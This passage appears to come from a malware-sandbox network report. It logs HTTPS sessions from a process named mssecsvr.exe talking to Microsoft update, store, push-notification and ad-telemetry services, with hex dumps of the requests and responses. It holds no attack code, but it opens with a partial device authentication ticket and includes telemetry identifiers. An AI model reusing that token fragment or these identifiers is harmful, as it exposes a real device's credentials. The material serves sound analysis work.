f48c7e9ef0635601<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:07:34 UTC	6534	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 38 63 37 65 39 65 66 30 36 33 35 36 30 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: f48c7e9ef0635601<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:07:34 UTC	6534	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:34 UTC	6534	IN	Data Raw: 4d 53 2d 43 56 3a 20 6e 6f 32 51 57 53 56 74 52 30 65 63 66 64 30 6c 44 66 54 56 55 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: no2QWSVtR0ecfd0lDfTVUg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49728	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	76	OUT	GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	76	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6463 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE" MS-CV: fY4WMkPOy0W6s1dW.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	77	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	52233	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:38 UTC	6534	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:39 UTC	6534	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 722f0e0b-9436-4853-a7d1-d95abbd6e266 MS-RequestId: 81fad959-a0f2-458f-82cb-936a688a26f6 MS-CV: dH+4EE5r2EG+pxq1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:38 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:39 UTC	6535	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:39 UTC	6550	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:39 UTC	6566	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	52402	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:43 UTC	6570	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:43 UTC	6570	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6b967ced-46c9-4d6b-9271-71c44f20be5b MS-RequestId: ce498ada-8988-43ed-a0cb-cdea99de535f MS-CV: lRdVdCDtg0Cu9ac2.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:43 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:43 UTC	6571	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:43 UTC	6586	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:43 UTC	6602	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	52440	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:44 UTC	6606	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:44 UTC	6606	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 5c5ef2cd-53c7-423b-8c23-fa785e6b7ae9 MS-RequestId: e81ed209-8882-4eaf-8b64-a58f9d541859 MS-CV: e15mx310qU+azqWb.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:44 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:44 UTC	6606	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:44 UTC	6622	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:44 UTC	6638	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	52492	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:44 UTC	6641	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:45 UTC	6642	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 882a1f22-1316-4e90-84a5-edf6eac1a0e7 MS-RequestId: 5a5cf397-b4bb-48b3-baac-b8bc5f050f21 MS-CV: F5qH7xHm3ka5yCi9.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:44 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:45 UTC	6642	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:45 UTC	6658	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:45 UTC	6674	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	52546	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:46 UTC	6677	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2787 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 04:07:46 UTC	6678	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 34 36 34 34 37 38 38 37 32 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 34 34 36 34 37 35 30 37 31 43 44 44 34 38 45 36 42 35 30 31 38 45 34 39 44 43 32 45 33 38 35 34 26 41 53 49 44 3d 65 31 62 37 32 66 36 31 65 63 66 35 34 36 37 64 62 32 32 31 63 66 66 32 37 31 63 65 62 65 61 35 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 31 33 30 37 30 35 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 30 34 30 35 34 33 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 3a Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=464478872&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=446475071CDD48E6B5018E49DC2E3854&ASID=e1b72f61ecf5467db221cff271cebea5&TIME=20220720T130705Z&SLOT=2&REQT=20220720T040543&MA_Score=2&LOCALID=w:
2022-07-20 04:07:46 UTC	6680	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:07:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	52545	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
